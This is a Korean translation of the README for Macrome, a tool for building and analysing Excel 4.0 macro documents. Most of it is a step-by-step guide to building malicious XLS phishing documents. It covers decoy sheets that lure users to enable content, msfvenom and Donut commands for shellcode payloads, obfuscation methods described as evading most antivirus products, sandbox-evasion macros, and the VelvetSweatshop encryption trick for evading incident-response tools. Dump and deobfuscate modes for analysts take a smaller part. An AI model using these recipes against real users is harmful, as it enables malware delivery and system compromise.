
레드팀과 분석가를 위한 엑셀 매크로 문서 리더/라이터
레드팀과 분석가를 위한 Excel 매크로 문서 읽기/쓰기 도구입니다. 이 도구의 실제 기능에 대한 블로그 게시물은 여기와 여기에서 확인할 수 있습니다.

이 저장소를 클론하거나 다운로드한 후, dotnet을 사용하여 도구를 실행할 수 있습니다 - 예시:
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin
또는
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls
참고: 구성된 대로 작동하려면 5.0+ 버전의 dotnet 빌드가 필요합니다. https://dotnet.microsoft.com/download/dotnet/5.0 에서 다운로드할 수 있습니다.
dotnet이 필요 없고 실행 가능한 바이너리를 포함하는 도구의 바이너리 릴리스는 Windows, OSX 및 Linux용 Release 섹션에서 찾을 수 있습니다.
Macrome은 솔루션 디렉터리에서 dotnet run을 사용하거나 빌드된 Macrome 바이너리에서 dotnet을 사용하여 실행합니다. Macrome에는 세 가지 작동 모드가 있습니다: 빌드 모드, 덤프 모드, 난독화 해제 모드.
제공된 미끼 문서와 매크로 페이로드를 사용하여 난독화된 매크로 시트가 포함된 Excel 문서를 생성하려면 build 명령으로 Macrome을 실행합니다. dotnet Macrome.dll build -h를 실행하면 전체 사용 지침이 표시됩니다.
예를 들어, 미끼 문서 path/to/decoy_document.xls와 바이너리 x86 셸코드 path/to/shellcode.bin을 사용하여 문서를 빌드하려면 dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin을 실행합니다. 그러면 XLS 2003 문서가 생성되며, 문서를 열고 "콘텐츠 사용" 버튼을 누르면 shellcode.bin의 셸코드가 실행됩니다.
나머지 문서에서는 각 플래그/기능을 자세히 설명하지만, 현재 Macrome이 제공하는 "최신 & 최고"는 다음 명령으로 얻을 수 있습니다:
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls
먼저 사용자가 볼 콘텐츠가 포함된 기본 "미끼" Excel 문서를 생성합니다. 이는 사용자가 Excel에 표시된 "매크로 사용" 버튼을 클릭하도록 유도하는 일종의 미끼여야 합니다. 최신 미끼 생성 예제는 https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets- 에서 확인할 수 있습니다. 이 시트를 생성한 후, 최신 Excel 통합 문서(*.xlsx) 형식이 아닌 Excel 97-2003 통합 문서(*.xls) 형식으로 문서를 저장합니다. 예제 미끼 문서는 /Docs/decoy_document.xls에 포함되어 있습니다. 참고: XOR 난독화를 사용하여 문서를 보호하는 경우 현재 미끼에 이미지를 추가할 수 없습니다.
다음으로, 도구에 제공할 셸코드 페이로드를 생성합니다. 예제 바이너리 페이로드(calc 실행)는 msfvenom을 사용하여 다음 매개변수로 생성되었습니다:
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
64비트 페이로드도 지원됩니다. 예제 64비트 페이로드 popcalc64.bin은 다음 명령으로 생성되었습니다:
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
그런 다음 이 페이로드는 다음 명령을 실행하여 포함될 수 있습니다:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
현재 64비트 페이로드는 x86 페이로드도 함께 제공해야 합니다. 문제가 되지 않는다면 x86 페이로드 플래그에 쓰레기 값을 지정하면 됩니다.
.NET 어셈블리를 문서에 직접 포함하는 기능은 향후 지원될 예정이지만, 지금 당장 그렇게 하려면 EXCELntDonut을 사용하는 것이 좋습니다.
Macrome 0.5.0 이상부터는 모든 페이로드가 base64로 인코딩되므로 페이로드는 어떤 바이트 시퀀스(널 바이트 포함)도 포함할 수 있습니다.
Macrome을 사용하여 .NET 실행 파일을 포함하려면 Donut을 donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe 명령과 함께 사용한 다음, 결과 페이로드를 32비트 및 64비트 페이로드로 모두 포함하는 것이 좋습니다.
또 다른 좋은 대안은 Amber로, 상당히 큰 Go 바이너리를 포함하는 데 효과적이었습니다.
어떤 이유로 Macrome 0.5.0 이전의 레거시 페이로드 인코딩 모드를 사용하려면 --payload-method 플래그를 SheetPackingMethod로 사용합니다. 레거시 모드에서는 대부분 알파-숫자 페이로드를 사용하면 =CHAR(123)&CHAR(124)&CHAR(125)... 등과 같이 CHAR 함수 호출을 반복적으로 추가하는 것보다 매크로 형태로 문자와 숫자를 표현하는 것이 더 쉽기 때문에 생성되는 매크로 파일의 크기가 줄어듭니다. 하지만 도구는 완전히 인쇄할 수 없는 바이너리 페이로드도 처리할 수 있습니다.
바이너리 페이로드 사용법과 유사하게, 먼저 미끼 문서를 생성해야 합니다. 다음으로, 실행할 매크로가 포함된 텍스트 파일을 생성합니다. 매크로의 열은 ; 문자로 구분하고 행은 줄바꿈으로 구분해야 합니다. 현재 지정된 매크로 내용은 A1부터 작성되어 실행됩니다. 향후 시작 위치를 지정할 수 있는 지원이 추가될 예정입니다. 예제 매크로는 /Docs/macro_example.txt 및 /Docs/multi_column_macro_example.txt에서 찾을 수 있습니다.
마지막으로 다음 명령을 실행합니다:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro
payload-type 플래그를 Macro로 설정한 점에 유의하세요.
매크로를 직접 생성하거나, 훌륭한 EXCELntDonut 도구를 사용하여 매크로를 만들 수 있습니다.
이에 대한 자세한 내용은 곧 게시될 블로그 게시물에서 설명하겠지만, Macrome은 이제 매크로 페이로드를 세 가지 방식으로 인코딩할 수 있습니다. 대부분은 여전히 모든 AV에서 탐지되지 않지만, 페이로드에 따라 실험해보고 가장 잘 작동하는 방식을 선택하세요.
IF 및 SET.NAME 함수의 긴 체인을 사용하여 호출합니다. 이는 아직 주요 maldoc 작성자들이 남용하지 않은 방식이므로 현재로서는 AV에 탐지될 가능성이 낮습니다.ROUND 함수로 래핑합니다.빌드 시 method 플래그를 사용하여 인코딩을 지정합니다. 예를 들어 CharSubroutine 인코더를 사용하려면:
dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls
때로는 페이로드 코드가 실행되기 전에 특정 매크로를 실행해야 할 수도 있습니다. 이는 샌드박스 회피를 위한 매크로를 추가하거나 페이로드가 올바른 호스트에서 실행되고 있는지 확인하는 경우에 유용합니다.
프리앰블 파일의 형식은 payload-type을 Macro로 사용할 때와 완전히 동일하지만, 단일 열만 지원합니다. 예를 들어, 다음과 같은 프리앰블을 사용할 수 있습니다:
=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<390, CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(FALSE))
=IF(GET.WORKSPACE(42),,CLOSE(FALSE))
이렇게 하면 화면 해상도 값, 마우스 존재 여부, 사운드 재생 가능 여부를 확인합니다. 이러한 조건 중 하나라도 실패하면 기본 페이로드 콘텐츠가 실행되기 전에 앱이 종료됩니다.
또한, 프리앰블 매크로가 나머지 매크로의 압축을 푼 후가 아니라 즉시 평가되도록 하려면 명령 앞에 %%%%%를 붙일 수 있습니다. 예를 들어:
%%%%%=IF(GET.WORKSPACE(13)<770, HALT(),)
%%%%%=IF(GET.WORKSPACE(14)<390, HALT(),)
%%%%%=IF(GET.WORKSPACE(19),,HALT())
%%%%%=IF(GET.WORKSPACE(42),,HALT())
이는 문서를 종료하기 전에 실행되는 XLM 명령 수를 최소화하는 데 유용하며, 샌드박스 지표에 대한 더 즉각적인 반응에 도움이 될 수 있습니다.
Macrome 0.3.0 이상에서는 훨씬 오래된 Office 버전의 레거시 암호화 모드인 XOR 난독화를 사용한 문서 비밀번호 보호를 지원합니다. 이 암호화 모드는 IR 도구에서 지원되지 않는 경우가 많으며 검열로부터 문서 콘텐츠를 보호하는 데 도움이 될 수 있습니다.
Excel에는 VelvetSweatshop이라는 "기본" 비밀번호가 있으며, 문서가 열릴 때 자동으로 해독되도록 하면서 문서 콘텐츠를 암호화할 수 있습니다. 이는 공격적 맥락에서 XOR 난독화를 사용하는 "이상적인" 방법입니다. Macrome은 문서를 난독화 해제하거나 덤프할 때 이 비밀번호를 자동으로 사용하려고 시도합니다.
이 기능을 사용하려면 빌드 명령에 --password <암호화할비밀번호>를 추가하기만 하면 됩니다.
dump 명령으로 Macrome을 실행하여 임의의 문서에 대해 가장 관련성 높은 BIFF8 레코드를 출력합니다. 이 기능은 olevba의 매크로 덤프 기능과 유사하지만, 일부 에지 케이스 Ptg 항목을 더 완벽하게 처리하여 형식이 Excel의 실제 FORMULA 항목과 최대한 가깝도록 합니다. 이는 이 도구를 만들면서 생성된 이상한 에지 케이스 문서를 디버깅하는 데 사용한 방식이므로 비교적 견고합니다. 하지만 현재 지원되지 않는 에지 케이스가 많을 것이므로, 콘텐츠를 제대로 덤프하지 못하는 문서를 발견하면 이슈를 열고 문서를 zip 파일로 공유해 주세요.
덤프 명령은 대상 파일을 가리키는 path 인수만 필요합니다. 예제 호출은 다음과 같습니다:
dotnet Macrome.dll dump --path docToDump.xls
dump 명령의 대부분의 플래그는 디버깅용이지만, dump-hex-bytes는 관련 레코드의 개별 바이트 페이로드를 확인하려는 사용자에게 유용할 수 있습니다. 이는 BiffView와 유사한 기능이지만, 기본적으로 maldoc 관련 항목만 표시됩니다.
deobfuscate 명령으로 Macrome을 실행하여 난독화된 XLS 바이너리 문서를 받아 여러 분석 방지 동작을 역으로 시도합니다. dotnet Macrome.dll deobfuscate -h를 실행하면 전체 사용 지침이 표시됩니다. 현재, 기본적으로 이 모드는 다음을 수행합니다:
Lbl 항목에 대해 수동으로 지정된 레이블을 정규화합니다.예를 들어, path/to/obfuscated_file.xls에 있는 악성 XLS 2003 매크로 파일의 난독화를 해제하려면 dotnet Macrome.dll deobfuscate --path path/to/obfuscated_file.xls를 실행합니다. 그러면 수동으로 또는 도구를 사용하여 분석하기 더 쉬운 난독화된 파일의 복사본이 생성됩니다.
참고: 현재는 이 기능이 많지 않으며, 주로 수정된 b2xtranslator 라이브러리를 사용하여 난독화 해제를 자동화하는 방법을 보여주기 위한 것입니다. 더 유용한 기능이 곧 추가될 예정입니다.
이 도구를 작성하기 위해 제가 의지할 수 있었던 모든 분들께 큰 감사를 드립니다.
b2xtranslator 라이브러리의 원저자와 이를 업데이트하고 dotnet으로 포팅한 EvolutionJobs 팀. 여기서 사용된 코드는 https://github.com/EvolutionJobs/b2xtranslator 에서 가져왔습니다.